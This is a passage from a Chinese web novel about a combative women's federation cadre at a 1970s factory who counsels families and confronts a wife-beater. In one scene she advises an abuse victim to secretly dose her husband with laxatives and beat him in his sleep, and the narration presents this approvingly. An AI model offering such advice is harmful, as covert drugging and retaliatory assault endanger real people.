女孩子被宋知南这副样子给唬住了,点头:“哇,你好厉害呀。宋同志,我叫章无双,是个独生女。” 何黛哇了一声:“独生女,很少见哎。” 章无双的嘴角现出一丝苦笑:“如果可以,我也不想当独生女。我的哥哥生病去世了,父母年纪大了,再也生不了啦。” “因为家里就我一个,爸妈就把所有的希望都放在我一个人身上。我只是一个女孩子,我只想过简单的生活。不想承担他们所说的那些责任。我特别羡慕家里兄弟姐妹多的女孩,他们有哥哥姐姐可以依靠,遇到事情也有人商量,大家相亲相爱多好呀。” 这下轮到宋知南无语了。不得不说,这个女孩挺天真,怪不得眼神那么清澈。 宋知南说道:“我家里就是你说的那样,我上有哥哥姐姐下有弟弟。可是,我哥想让我替他下乡,我不肯,他恨上我了。后来他出了点事,从哥哥变成了姐姐,他觉得我爸妈不疼他只疼我弟,他发疯拿刀砍死了我爸砍伤了我弟。” 章无双的嘴张成了半圆形,“我想起来了,原来你就是别人嘴里那个可怜的宋同志。” 说到这里,她连忙道歉:“对不起宋同志,我们刚从省城来,还不清楚这些情况,我是不是伤到你了?” 宋知南淡然一笑:“没事,附近的人都知道这件事,我已经习惯了。” 章无双仍有些不安:“我也不知道该怎么安慰你,你还好吧?” 宋知南摇头:“事情已经过去了,章同志,我之所以对你说这些,只是想告诉你,你所向往的那种温馨和睦的情景不能说没有,但极少极少。你说你羡慕有兄弟姐妹的女孩,其实我们这种家庭的女孩非常想当独生女。因为对于我们来说,兄弟不是用来依靠的,兄弟是用来供血的。” 其实独生女的父母也未必不重男轻女,他们一般会有一个想像中的儿子。 当你做出成绩受到众人的称赞时,他们会用那种充满遗憾的语气说:“你要是个儿子就好了。” 当你做的事情让他们失望时,他们就会说:“我要是有个儿子就好了。” 宋知南的思路飘了一下,很快就拉回来,继续说:“不管怎样,他们没有选择,只能把心血和资源给你,你的人生比多子女家庭的女孩多了一层保障和底气。” 章无双静静地听着,时不时插进一句:“可是亲戚邻居经常惋惜,说我要是有个兄弟就好了,就有依靠了。我排队买东西被人插队,他们这么说;我在学校被人欺负了,他们也这么说。” “他们说的话有问题。我有兄弟,我买东西照样被插队,我在学校也被人欺负过,避免这种现象的办法就是自己变得厉害,让别人不敢欺负你,而不是想着依靠兄弟,有时候欺负你最狠的就是你的兄弟。” 章无双用那双澄澈的双眸看着宋知南:“宋同志,我觉得你说的很有道理,为什么就没有人告诉我呢?” 宋知南笑笑:“别人告诉你的不一定是真相,原因有二,一是他们知道真相但就是坏,故意不告诉你;二是他们不知道真相,也被人蒙蔽了,无法告诉你真相。不过,你这么聪明,你可以通过看书、观察、思考,从而得出自己的结论。 就拿这件事来说,你可以去观察那些多子女家庭,看看他们是和睦温馨相亲相爱还是尔虞我诈、相互竞争?看看他们的生活,再对比一下自己的生活。你还会觉得承担责任很痛苦吗?在承担责任的同时,你也获得了权力。最痛苦的人生不是承担责任,而是你承担了绝大部分的责任,但同时你还没有权力和自主权。多子女家庭的女孩子就是后一种,她们干着最多的活,出着最多的力,但她们没有权力,在家中的地位往往最低。” 章无双发出一句感慨:“那她们太可怜了。” 宋知南的话给了章无双很多震撼。 “宋同志,还有一件事,我爸妈对我挺好的,无微不至的关心。按理说我应该知足,我应该很幸福。可是,我总觉得压抑总觉得难受,有时就想跟他们对着干。亲戚们都骂我不懂事太任性……” 章无双低下头,声音变得低落起来。 宋知南温和地说:“无双同志,咱们毕竟是同龄人,我理解你并站在你这边。我觉得你父母可能是有点问题的。” 章无双赶紧补充一句:“他们真的对我非常非常好。” 宋知南:“他们有问题,跟对你好并不矛盾。每个人都有问题,不能因为当了父母问题就消失了,你说对不对?” “对对。” 章无双挠了下头发:“所以,以前我就时常想着,如果我不是独生女,我有很多兄弟姐妹,他们会不会就不会只把注意力把我身上了?” 宋知南循循善诱:“被人过度注意很难受,但无人关注重视,你也会感到委屈。不要美化自己没有的幸福,大家各有各的苦。” 章无双跟宋知南越聊越深入,她主动说起了自己跟父母之间最大的分歧:“现在我跟爸妈最大的分歧就是,他们想要我招个女婿,但我不想,我不想过这种压抑窒息的生活,我想要自由,想要自由恋爱,想要自由的生活。我爸妈坚决不同意,发动亲戚邻居做我的思想工作,他们越是这样,我就越反感。宋同志,你能不能帮我做一下我父母的思想工作?” “当然可以,这样吧,你出去散个步,在外面溜达一圈,我跟你父母聊聊。” 章无双眨巴着一双大眼睛:“我不能留下来旁听吗?” 宋知南笑着说:“一会儿我可能要批评你爸妈,你在的话,他们的面子会挂不住的。” “哦哦,我懂了。” “那我去叫他们。” 章无双离开后不久,她父母就进来了。 两人都挺客气,一进来就说道:“宋干事,我们家的事让你费心了。” 章父名叫章华,是钢铁厂人事科科长;章母名叫赵明娟在纺织厂后勤科工作。两人都刚从省城调过来。 宋知南对两人很和气:“两位同志,我能感觉到你们对女儿的爱护之心。像你们这样的父母真不多见,我工作这么久,接触过很多案例,但像你们这样开明的父母真不多见。” 两人的脸上都带着笑容,确实,他们这样的父母真不多见,可惜孩子不能体谅他们的苦心。 宋知南接着说:“从刚才的接触来看,无双同志善良天真,在你们的保护下,她没有经历过多少生活的风雨。” 两人一起叹气:“谁说不是呢?就是因为她太天真单纯,所以我们两个才不放心,管她管得严了点,但是不管不行啊。管得多了,她又烦。我们也很为难。” 宋知南点头附和:“父母之爱女则为之计深远,你们的苦心我能理解。” 两人对视一眼,这个宋知南跟传说中的不一样啊,瞧她多通情达理多善解人意,并不像他们说的怼天怼地呀。 两人正在暗自琢磨宋知南这个人,却听她话锋一转:“你们现在可以管她,可以替她做主,但你们百年之后呢?她没有亲兄弟姐妹帮衬,如果她不能成长为一个独挡一面的大人,以后怎么办?我听无双说,你们打算招婿。可是招婿的风险你们清楚吗?” 两人怎么可能不知道招婿的风险?可是他们没办法呀。两人唉声叹气,一时不知该如何回答。 宋知南看向章华:“我不是攻击男人,叔叔你也是男人,你自己说,有几个男人愿意久居人下?他们骨子里是不是总不安分?无论在谁家,都总想着当家作主?” 章华点头:“你说得对。”他身为男人还不知道男人的本性吗?他真的无法反驳。 “如果招婿上门,而你们的女儿性格又不够强悍,她以后大概率会被吃绝户,就算孩子暂时随你们姓,以后也会改回父姓,你们的家产也会落到他们手里。” 赵明娟皱着眉头,试探道:“那我们要是招一个特别老实的女婿呢?” “可是人会变的。他现在老实,以后还会老实吗?人心隔肚皮,你怎么确定看上去老实的人就是真的老实?你怎么知道他不是装的?章叔,我不是攻击男人,你自己说,你结婚前跟现在是一个样吗?” 章华尴尬地笑笑,赵明娟嘁了一声。 宋知南接着说:“远不的说,我房子的前房主刘富贵,就是那个把老婆埋在后院还污蔑她跟人跑了的杀人犯,这个新闻上过报纸,你们应该听说过。没有事发前大家不也都说刘富贵特别老实吗?结果呢?” 两人当然知道这个刘富贵,他们不由得背后一凉,一个真实的案例顶得上千万句道理。 两人一起问:“那怎么才能让无双变得性格强悍呢?她从小就性子软。” 宋知南用笃定的语气说:“人是会变的,有你们这样的父母,无双同志的潜力大得很。但有一个前提,就是你们必须学会放手。一个身体只能承受一个灵魂,如果你们对她的控制太多,她一定会反抗,这不是孝不孝顺的问题,我们人类天生就有反抗精神。 有的消极反抗,有的是积极反抗。有的子女因为年纪小,不懂方法,他们为了反抗,甚至不惜搭上自己。最典型的就是,对父母安排的婚姻的反抗。如果你们不放手,后面还会有更激烈的反对。” “有个著名人士曾说过,这个世界上所有的爱都以聚合为最终目的,只有一种爱以分离为目的那就是父母之爱。” 两人听得身躯一震,陷入了深深的思考之中。他们好像管得是有点多了,而且方法还不对。 “你们放开手脚锻炼无双同志吧,不要怕她犯错,你们的女儿随你们二位,天生善良正义,你们就算放开手脚她也不会犯大错误的。说有你们在一旁看着,小错可以修正。你们要像培养一家之主那样培养她,带她见世面见人,见识好的一面,也知道坏的一面。” 这个世界真是疯魔,父母要么吸血榨干女儿,要么把女儿当宠物养,没有几个把女儿当作继承人来养的。 两人对视一眼,说道:“好的,我们回去试试。宋同志,你真是太睿智太聪明了,咱们红星纺织厂真是藏龙卧虎呀,我们今天来对了。” 宋知南礼貌送客:“你们可以先出去呆一会儿,我再嘱咐无双同志几句话。” “哎,好的好的。” 章无双一进来,宋知南就说:“我已经做通了你父母的思想工作,让他们放开手脚锻炼你。你呢,就放开手脚去干,别怕犯错,小错没事,大错你犯不了。每当你不自信不好意思时,就想想你的堂兄弟表兄弟,想想你邻居家的男孩子,你怎么着也比他们强吧?” 章无双的眸中闪着光芒:“宋同志,你真的太厉害了,我爸妈那么顽固的人,你竟然敢批评他们,还真的做通了他们的思想工作。我决定了,我要向你学习,我要像你一样聪明厉害。” 她真的很遗憾,刚才就应该躲在门外偷听的,她真的难以想像一个比她年纪还小的女孩绷着脸教训大人的样子有多威风。 宋知南也挺喜欢这个章无双的,单纯但不蠢,善良还善解人意。 她嘱咐道:“你以后得拿出真本事让你的父母相信你,他们越是相信你,就会给你更多的自由。 遇到事情,别想着我是一个女孩如何如何。你要想着,我是一个人。一个人该怎么做你就怎么做。” 章无双的眼中闪烁着星星,对宋知南是言听计从:“宋同志,你等着,我会成为第二个你。” 她原本没想好要做什么工作,现在目标有了,她要进妇联。这个工作真的太好了。 章无双郑重其事地跟宋知南握手道别:“宋同志,感谢你解决了我的两个大问题。咱们以后还会见面的。”下次见面就是同事了。 第105章 章家一家三口离开后, 宋知南先灌了半杯温水,润润喉咙, 又揉了揉眉心,说话多了其实也挺累的。 何黛一直在补记笔记,她特意等了一会儿才跟宋知南说话:“南姐,你这一天天的是真辛苦。” 谁能想到刚过完年,工作量就蹭蹭暴涨呢。一般来说,像她们这种部门是很清闲的。但有的人就是能让清闲的部门变热闹,比如说南姐。 宋知南笑着说:“为人民服务,我累并快乐着。” 章无双回去后,心情还是久久不能平静,她写了一封热情洋溢的表扬信送到纺织厂工会办公室。同时还去打听妇联现在招不招人,得到的消息是暂时不招人, 暂时不招人不代表以后不招, 她随时关注着就行。 赵明娟直接给宋知南送了一面锦旗, 上面印着八个大字:字字珠玑,妙嘴回春。 何黛一面挂锦旗一面说:“这么一挂, 咱们办公室就更像中医诊所了。” 宋知南的风评是两极分化, 喜欢的极喜欢,厌恶的极厌恶。 跟章家一家形容鲜明对比的是田容的丈夫王怀安,他不能跟宋知南闹,也没法向她的领导告状。 他投鼠忌器,心里无比憋气。 更让他憋气的还在后面,那个田容自从跟宋知南聊了一通后,宛如打通了任督二脉, 战斗水平提升一大截。 其实以前田容的战斗力也不弱,她没结婚前就活泼明朗, 招人喜爱。只是婚后被一种无形的力量束缚住了,再加上王怀安日复一日地打压攻击,她变得越来越不自信。 跟宋知南一聊,她就开始反思了。一反思就有进步,人越进步越自信,越自信就越强大。现在的她进入了一个良性循环。 她认真学习王怀安的方法,你打压我,我也打压你。我难受,你也别好过。 谁的人心不是肉长的?谁天天被挑刺批评不会暴躁? 每次看到王怀安气得五官扭曲时,她的心里就非常爽快。终于不是她一个人生气了。 以前产生这种阴暗的想法时,她会自责。现在嘛,她坦然接纳自己。她之所以变得阴暗就是因为王怀安,她没结婚前咋不阴暗呢? 念头一通达,天地自然变宽。 王怀安气极破坏:“田容,你瞧瞧你这个泼妇样?你还是以前的你吗?” 田容反唇相讥:“你瞧瞧你这泼公样,你还是从前的你吗?” 王怀安吼道:“田容,你是成心不好好过日子是吧?你出去打听打听,别人过的什么日子,你过的是什么日子?你就作吧。” 田容针锋相对:“我都不用打听,我过的什么日子我自己知道。你也出去打听打听,还有女人打男人呢?我打你了吗?还有儿媳妇骂公婆呢,我没当面骂你爸妈吧?你就知足吧。” 这种话谁还不会说了,就只有他长嘴吗? 田容吵赢一架,神清气爽地上班去了。 王怀安看着田容的背影,气得暗自咬牙。 以前在家里,是他说教,田容要么听着要么发疯。 现在反过来了,田容在喋喋不休地说个不停,满嘴的歪理。 他发火,田容还在那儿笑,笑得让人发毛。现在想发疯的是他。 王怀安一上午都在反思,他不是反思自己的错,而是反思宋知南的错。这人就是个大毒瘤。 无精打采的王怀安跟同事说:“你知道世上有哪两种女人会让男人疯狂吗?” 同事想了一会儿,答道:“传说中的倾国倾城的大美女?” 王怀安说道:“这是一种,还有一种是宋知南那种。” 同事一脸惊讶,宋知南,他知道,来他们厂里演出过两次,挺有意思的一个姑娘,咋就让人疯狂了? 王怀安严肃地说:“宋知南真的会让男人发疯,所以,他哥疯了,我觉得我也快疯了。” 同事:“……”这么一说,他也觉得王怀安快疯了。以后还是离他远一点吧。 王怀安下班后生无可恋地往家走去,他正慢吞吞地走着,突然听见一阵乒乒乓乓的声音,那是有人在摔东西,接着屋里传来了一个女人的哭叫声:“你打死我算了,我不活了。” 王怀安不由自主地停住了脚步,他知道这对夫妻,男的叫李大庆,是纺织厂运输部管内勤的。 女的叫王招弟,李大庆经常动手她。领导调解过几次,李大庆每次都是认错飞快,老实一阵,之后又故态复萌。久而久之,领导也懒得管了,邻居们也早习惯了。 王怀安此时是愤愤不平,不是为王招弟,而是为自己。 他可比这个李大庆强太多了,他从来都没动手打过田容,可她仍然不知满足,可不就是作? 如果这个王招弟去找宋知南调解会如何? 王怀安脑中灵光一闪,心中的郁气不翼而飞。 …… 宋知南连续忙碌了几天,今天终于消停下来了。一上午没人来,她喝茶看报整理资料。 何黛也跟她差不多,两人还联手拐了一只小猫进来玩。 到了中午,宋知南去食堂打饭刚好碰到李群英,李群英把她拉到一边悄声说:“咱们的新党委书记上任了。” 宋知南说:“还是你的消息灵通,我还不知道呢。他为人怎样?奇葩不?” 李群英摇头:“具体性格不知,只知道很年轻,上头应该有人。” 宋知南说:“有机会,我去拜会拜会。”要想升职还是得跟领导搞好关系。 两人一边说悄悄话一边排队打饭,打完饭,宋知南抱着饭盒准备回办公室,李群英怅然若失:“你一离开我真不适应,小何可真幸福。” 宋知南笑着安慰道:“我在上班时属于她,下班后就属于你了,我这人雨露均沾。” 李群英笑着呸了一声:“瞧把你得意的。” 宋知南哼着歌儿回到办公室,她跟何黛开始吃午饭。 宋知南这边刚吃完,就听见了有人在扯着嗓子哭嚎:“我的娘哎,这日子没法过了,我不活了。” 紧接着,一个披头散发的女人跌跌撞撞地朝她们这边奔来。 何黛迅速收起饭盒,说道:“这个人以前来过,她叫王招弟。她男人总打她,还是贺主任给调解的。” 说话间,王招弟已经冲到了两人面前。 王招弟二十七八岁,明明年纪不大,人却长得干枯瘦削。眼窝发青,鼻子一直在流血。 宋知南赶紧起身扶起她,何黛也用自己的手帕帮她擦拭脸上的血。 宋知南问:“这伤是你男人打的?” 王招弟嚎啕大哭:“是那个天杀的李大庆打的,我自从嫁给他就没过过一天好日子,我为他洗衣做饭、生儿育女,他就这么对待我,你看看我胳膊上全是伤。” 王招弟说着撸起袖子,胳膊上青一块紫一块的。说着她还要掀起衣服让两人看她身上的伤痕。 何黛见门外有人,赶紧过去把门关上。 宋知南检查了一遍王招弟身上的伤,咬牙切齿地说道:“家暴的男人都该死。” 王招弟哭哭啼啼地接着诉苦。 宋知南转头问何黛:“这种情况以前是怎么处理的?能让保卫科的人去打他一顿吗?” 何黛摇头:“这是家务事,保卫科的不能打。” 何黛深知宋知南嫉恶如仇的性格,赶紧补充一句:“你也不能打,咱们只能劝。” 宋知南叹了口气,接着问王招弟:“你找厂领导反映过吗?” 王招弟哭着说:“我找过,他们批评过李大庆,可是不管用,他每次都说会改。可是过段时间他又接着打我。” “那报过公安吗?” 王招弟吃了一惊:“两口子之间的事怎么能报公安呢?” 宋知南思索着,她知道这个时代的社会风气十分保守,离婚是一件很难的事,一般的家庭矛盾,她也不劝人离婚。 但王招弟这样的是例外,都打成这样了,不离婚还等什么?离婚后的生活是很艰难,但总比经常挨打强吧? 思索完毕,宋知南严肃地说:“王同志,你这种情况,调解没用,家暴只有零次和无数次。只要他动手打你一次,后面就会一直打,除非他死或者你们离婚。最根本的解决办法是你跟他离婚。不过离婚之前,你最好能报复回去,给他下点泻药,待他身体虚弱时再狠狠地打回去。白天打不过,夜里趁他睡着了捆起来打。” 被人欺负这种事,事后的任何心理干预都没有直接报复回去管用,报复得越狠,心灵创伤恢复得越快。 宋知南的话一出口,王招弟却惊得后退两步:“啥?你让我离婚?” 宋知南皱着眉头:“你都被打成这样了还不离婚?你这种情况已经超出了调解的范围。我知道离婚后的生活很难,但是你有工作能养活自己,再怎么样也比经常挨打强吧。” 王招弟连声反问:“我离婚后别人怎么看我?娘家怎么看我?我的孩子没有爸了,同学会怎么看他?” 宋知南反问道:“别人怎么看你比你自己的人生重要吗?” 杠精值加5。 王招弟嗫嚅着,没有出声。 她擦擦眼泪,低声说道:“其实大庆不打我的时候也挺好的,他这人也有优点,就是脾气不太好。当然我也有缺点,我的嘴比较碎,爱唠叨。” 宋知南无言以对。 她的心头涌起一阵深深的无力感。 何黛也是一脸地无奈。 宋知南想了想,说道:“王招弟同志,你现在被虐待出心理疾病了,竟然开始替虐待你的人说话,无论你怎么嘴碎爱唠叨,都不能成为他打你的理由,你明白吗?” 王招弟慢慢整理好衣裳,说道:“你们两个还是太年轻了,又没有结过婚,你们根本不懂该怎么调解夫妻矛盾。算了,就当我今天没来。” 王招弟说完自己推门离开了。 王招弟一走,就有人过来告诉宋知南:“小宋,他们家的事我劝你最好别管,以前他俩打架,有邻居去劝架,那个李大庆动手打了邻居,两人扭打在一起,最后这个王招弟却帮着她男人一起打那个邻居。人家两口子不管内部怎么打始终是一家人,咱们都是外人,何必去管这个闲事?” 宋知南不解道:“既然如此,她为什么还来找我们调解?” “不知道,大概是想换个人诉苦吧。” 下午上班时,贺主任回来了。 她一来就把宋知南叫到隔壁的小办公室里。 “小宋,我去接替杨主席以前的位子。我们俩都有意推荐你来当妇联主任,可是孙厂长说你太年轻,工作方式太激进,吴厂长倒没有强烈反对,但也没有很坚决地支持你。现在的关键是看这个新来的党委书记。如果他要是不反对,你还是有可能的。你最近注意点,争取给新领导留个好印象。” 宋知南对贺主任这个老领导还是挺客气礼貌的,“贺主任,你放心,我最近挺老实的。我都好久没怼人了。”她这几天净充当心理医生了。 贺主任笑笑:“是啊,最近这段时间大家伙对你的工作很满意。工会都收到好几封关于你的表扬信了。后勤科新调来的赵明娟一直夸你认真负责,通情达理。” 下午风平浪静,岁月静好,没人来,也没人闹,办公室里静悄悄。 春困秋乏,两人都有些犯困,不约而同地伏在桌上小憩一会儿。 睡醒后,宋知南把这几天的案例认真整理誊写好,一看时间,快下班了,一天就这么充实地过完了,两人收拾东西准备下班。 就在这时,有人来了。 来的是个凶神恶煞的高个男人,一开口就是满嘴的酒气。 “你们谁是宋知南?给我站出来!” 何黛吓了一跳,赶紧问道:“同志,你有什么事?” 那人二话不说,伸手就去推搡何黛,何黛吓了一跳,大声质问:“你干嘛推我?” 宋知南闻声窜了过来,抬起一脚狠踹向男人的腹部。 男人被踹得蹬蹬后退十来步。 他见踹自己的是个年轻的女孩,顿时怒不可遏,举起拳头就砸向宋知南:“你敢打我,你找死!” 宋知南伸手抓住他的胳膊,再用力一推搡,男子没站稳,扑通一声仰面倒在地上。宋知南冲上去砰砰砰就是一通狠踹。 王招弟刚好赶过来,她看到自家男人被摁在地上狠揍,立即尖声喊道:“快来人呐,妇联的工作人员打人了。” 保卫科的人听到动静,赶紧过来查看。这时候刚好赶上下班时间,大家如潮水一般涌过来看热闹。 赵大刚和小刘最先跑过来,两人架起地上的李大庆,李大庆挣扎着想去打回来,两人硬按着不让。 王招弟冲到宋知南面前指着她大声嚷道:“姓宋的,你怎么打我男人?你还是干部呢?有你这样当干部的吗?” 王招弟转过身,面对围观的工人大声说道:“你们大伙给我评评理。我不过是来找宋知南给我们调解调解,她张口就劝我离婚,我男人来找她评理,她竟然动手打人。” 她以为她会得到大家伙的支持,不想宋知南还没来得及开口,王招弟的声音已经被大家的骂声给淹没了。 王小雪最先骂她:“王招弟,你就是个贱皮子,你喜欢挨打就挨吧,为啥要来恶心宋同志?” 魏芬接着骂:“哎哟,李大庆打女人打习惯了,以为宋同志也很好欺负呢?你还想动手,被揍了吧?活该!” “李大庆就是个怂货,还想动手打人家小宋,这下踢到铁板了吧。” “这两口子都不是什么好东西。” …… 大家你一句我一句,骂得王招弟和李大庆抬不起头来。 大家的骂声太密集,宋知南需要插队进来骂:“王招弟,你这种人我以后不会管的。我助人为乐的前提是,对方得是人,可你不是。你们两个是傻叉配狗,天长地久。” 杠精值加10。 女工们高声附和:“对对,傻叉配狗,天长地久。” 宋知南走到李大庆面前,鄙夷地看了他一眼:“李大庆,别看你叫嚣得凶,其实你就是懦夫怂包,你只敢对弱者挥拳。你从根上烂透了,骂你是畜生是对畜生的侮辱。我也只能骂骂你父母,他们就应该植树造林,也不该造你这个贱人。” 杠精值加5。 李大庆狠狠地啐了一口,放狠话道:“宋知南,你给我等着,这事没完。” 王招弟搀扶着李大庆,骂骂咧咧地离开了。 纺织厂的男职工这次却像是过节似的,异常地活跃。 他们一个个幸灾乐祸的,挤眉弄眼。还有人上前假装安慰宋知南。 “宋同志,你看你好心办坏事,关键是人家还不领情。我要是你,我就再也不干这种出力不讨好的事情了。” 女职工觉得这话里有陷阱,瞪了说话的男职工一眼,赶紧安慰宋知南:“宋同志,你别难过。像王招弟这种不知好歹的人毕竟是少数。你别灰心,我们大家都认可你。” 宋知南洒脱地朝大家笑笑,“这种事很正常,咱们国家的人这么好,抗战时期不照样出过汉奸?林子大了,什么鸟没有?我不会因为她一个人就对全体女同志失望。她王招弟有多大的脸能代表全体女同志?我革命意志坚定,没有什么能阻挡我前进的脚步。心中有大爱,无惧一切障碍。” 第106章 女工们一起用力鼓掌:“宋同志, 你的觉悟真高,说得真好。” 本来她们还担心宋知南遇到这种挫折会心灰意冷呢, 没想到人家想得这么开。 李大庆和王招弟离开后,围观群众仍不肯散去,女工们都在安慰宋知南。 宋知南跟大家有说有笑,不见丝毫沮丧。 男工们有点费解和不甘心。 男人对于女人内部的分裂是乐见其成,甚至是推波助澜的。他们也说不清为什么要这么做,但就是下意识地这么做了。 他们本以为王招弟的事会给宋知南的工作热情浇一大瓢冷水,让她知道现实的残酷。可是没想到啊,人家好像压根不在意。 宋知南看着这些人的嘴脸,傲然一笑:想诛我的心,你们也配! 你们想,我就如他们的意吗?别人只在青春期叛逆, 她不一样, 她终生都叛逆。 像王招弟这种人, 肯定会有的,也没什么好奇怪的。 以后再遇到这类人, 及时甄别就行。工作嘛, 总会受点工伤。 大家又在妇联门口呆了一会儿,才陆续散去。 等到大家离开后,何黛心有余悸地拍了拍胸口说道:“刚才吓死我了,南姐你可真厉害,你竟然能跟那个李大庆过招还没输,我当时吓得脑子一片空白,连还手都忘了。” 宋知南说:“不经常打架的人遇到攻击就是会头脑一片空白, 你以后再遇到这种事,赶紧跑, 一边跑一边喊保卫科的人。” 她吃过大力丸,没事经常练习,所以反应才这么快。何黛的反应才是大多数人普通人的正常反应。 两人锁上办公室的门边走边说话,随后在大门口分手。 宋知南刚走几步,就听见李群英在叫她。 李群英快跑几步跟上来:“今天下班后,我们科长把我们留下来开了会,出来时赵大刚跟我说有人在妇联门口挑事儿,你没事吧?” 宋知南:“放心,没事。李大庆那个窝囊废打不过我。” “厂里的男职工是不是高兴坏了?” “他们高兴得有限,因为我并不因为这事而伤心沮丧,他们没能如愿。” 这正是李群英佩服宋知南的地方,换了别人,肯定是要沮丧失望的,包括她自己也一样,没准还会质疑自己工作的意义。但宋知南并没有。 李群英想了想,郑重其事地问道:“宋同志,你到底拥有一种什么样的信念才让你遇到挫折一点也不气馁?” 宋知南严肃地回答:“咱们爱国,难道会因为几个同胞不好就不爱国了?” “那倒不会。” “这就对了,几个渣滓代表不了国家,一个两个王招弟也代表不了女同胞。你得尊重生物的多样性。人过一万必有混蛋,咱们几亿女同胞出几个王招弟不是很正常吗?” 李群英文绉绉地说道:“宋同志的言论真是令我茅塞顿开恍然大悟,如此年轻就有如此见识,你将来必成大器。” “哎,早说过嘛,苟富贵互相旺。我成大器必然带挈你。” 两人哈哈大笑,惊得路人频频回头,暗暗感慨,刚刚跟人打了一架还能笑得这么开心,除了宋知南也没谁了,宋家的人都不一般呐,都是狠人。 宋知南回到家,喂猫喂狗,做晚饭,吃饭。吃完饭,她牵着黑米去遛狗,小虎也跟着一起去。这家伙今天犯懒,直接趴在黑米背上,让它驮着走。路过的人觉得好玩,频频回头看它们。 有人看猫,有人看宋知南,还有人来搭话。 “小宋,今天这事……唉,你别放在心上。” 宋知南一律面带微笑回复:“天空飘过五个字,这都不叫事。心中有大爱,无惧一切障碍。” 搭话的人嘴张成半圆形:“你的觉悟可真高。”主要是心态真好。 宋知南笑笑:“谢谢夸奖。”她觉悟不高谁高?她就是最高的宋高。 宋知南遛了半小时的狗,顺带宣传了自己半小时,还听了一耳朵的路边新闻,心满意足地回家。 临睡前,她复盘今天的事情,发现了一个疑点,她在妇联工作半年了,王招弟为什么之前不来找她调解,偏偏今天才来?还是赶上新领导刚上任的时候来。 她感觉这事应该有人挑唆,而且挑事儿的人挺阴险还有一点脑子。不用深思,有一个人立即出现在她的脑海里,王怀安。他没法找她的领导告状,又拿她无可奈何,于是就想出了这么一招。 她这人讲礼节,对方送她个大礼,她肯定得回礼。人选知道了,目的清楚,就差完善中间的细节了。不着急,事已至此,先睡觉吧。 梦里,宋知南看见王怀安变成了狗,对着她龇牙,黑米扑上去就咬他,黑米的老对手黑豆也扑上去咬他。 次日清晨,宋知南一边吃早饭一边跟黑米说:“我昨晚梦见你和黑豆了,今天难道又是很旺的一天?” 黑米的语言实在太匮乏:“旺旺。” 宋知南摸摸她的狗头,收拾东西步行去上班。虽然她家有了新自行车,但路程不远,她都懒得骑。 宋知南上班不久就被贺主任叫到隔壁。 贺主任看着宋知南直叹气:“小宋啊,你说你,我也不是要批评你,昨天这事你也没有错,就是这个时机太不巧了。” 新领导刚来,就整这么一出,他肯定对宋知南的第一印象不好,第一印象非常重要。 本来她还想和杨主席从新领导那儿寻找突破口,现在也难了。 宋知南反过来安慰贺主任:“贺主任,谢谢你和杨主席这么替我着想。不过这事并非就定死了,关键是事在人为。你放心,我会争取给新领导留下一个好印象的。” 贺主任苦笑一下,安慰了宋知南几句就离开了。 工会的人一上班就收到一封实名举报信,李大庆举报宋知南挑拨他们夫妻关系,说他跟自己媳妇吵了两句嘴,媳妇前来妇联诉苦,结果宋知南一张口就撺掇两人离婚。他请求严惩宋知南这种破坏家庭和谐和社会稳定的坏分子,举报信的末尾还有他们夫妻俩的签名。 工会的人转手把举报信塞到新党委书记办公室里去了。 他们一是想治治宋知南,让新领导对她第一印象不好;二是想趁机观察一下新领导的行事风格。 谈林第一天上班就收到了实名举报信,他皱着眉头打开,仔细阅读,同时在脑中搜寻着宋知南这个人的信息。 上任之前,谈林有意打听了一下纺织厂的情况,好做到心中有底。其中这个宋知南的名字就出现了三次。 总结下来就是,这个宋知南是个口才文笔绝佳的杠头和刺儿头。厂里的大小领导她都杠遍了,据说还都杠赢了。 刚上任就遇到刺儿头,这不是刚学会理发就遇到络腮胡吗? 按照流程,这封举报信应该躺在宋知南直属领导的办公桌上,不应该送到他这里来。 估计是有人想看看他怎么处理这事吧?还有就是这些人想给宋知南穿小鞋,看来这个小宋的人缘不太好呀,也对,杠头怎么会人缘好? 谈林看完信,思索半晌,就喊助理小朱去通知宋知南,他要亲自给她做思想工作。 工会和厂委的几十双眼睛都在盯着书记办公室,他们一看助理小朱去妇联办公室了,就明白这是新领导要亲自出面给宋知南做思想工作了。 一时间有人幸灾乐祸,有人担忧,还有人想看戏。 通知传达到妇联办公室,何黛先炸了,举报信怎么会送到党委书记办公室里?不应该送到贺主任或杨主席那里吗? 宋知南安慰她:“没事,正好趁着这个机会跟新领导说说话套套近乎。” 何黛:“你想跟新领导套近乎也不能用这种方式呀。” 宋知南从抽屉里抽了两页检查塞进书包里,这些检查是她闲来无事写的,就为了不时之需,这不正好就用上派场了? 若有人问怎么能事先写好检查呢?每次犯的错误不一样怎么办? 问这话的一看就不经常写检查,或者是没摸到写检查的窍门。有一种检查是万金油体,是可以通用的。宋知南准备的就是这种。 宋知南昂首挺胸进了党委书记的办公室,她稍稍打量了一下在办公桌前正襟危坐的人,这气势一看就是有装的成分在,就像她家的小虎装老虎一样。 这人年纪大约二十七八岁,一张不太正宗的国字脸,搭配上浓眉大眼,看上去挺正气,符合这个时代的审美。 长得还行,就是不知道智商如何? 没关系,她跟对方聊一会就知道智商高低了。 前面说过,她喜欢逗领导玩,逗孙主席她已经逗腻了,老头子哪有年轻人好玩?来个新领导刚好换换口味。 宋知南摩拳擦掌,心中的小恶魔再度想要出场。 宋知南不管心里怎么想,表面上挺客气礼貌。 “谈书记好,我是宋知南。” 谈林对她也算和气,指指前面的凳子:“坐吧。” 他说话的同时也在打量着这个传说中的杠头,看上去不像啊。 谈林把举报信递给宋知南,“你自己看吧。” 宋知南接过来,一目十行地扫了一遍,慢慢把信放到桌上,眼睛看着谈林:“谈书记,我想问你几个问题,你打过媳妇吗?” 谈林:“……” 宋知南双目注视着谈林,静静地等着他的回答。 谈林只好答道:“我没媳妇。” 宋知南接着问:“那你有了媳妇以后会打吗?” “你问的叫什么问题?我当然不会打。” 回答完毕,谈林刚想开口说话,宋知南却长长松了口气,说道:“那我就放心了,因为只有家暴男才会共情帮助家暴男。我看你浓眉大眼,一看就是咱无产阶级的脸,你不是李大庆那种人,你是不会站在家暴男那一边的。这我就放心了。” 谈林:“……” 这话他该怎么接? 宋知南把检查递给谈林:“谈书记,昨晚我回家后进行了深刻的反省,连夜写了份检查,你看看。” 谈林接过来,一目十行地往下看。这检查写得挺好,字迹工整,没有错别字,文笔也挺好。 谈林看检查,宋知南跟他聊天。 “谈书记,说实话,我一进来看到你本人,心里特别高兴。我觉得我们这个暮气沉沉的厂子就需要你这种有锐气有魄力的年轻领导,来大刀阔斧地整顿一番。我看书记你也就比我大一百多个月吧?咱们都是同龄人,同龄人更能理解同龄人。” 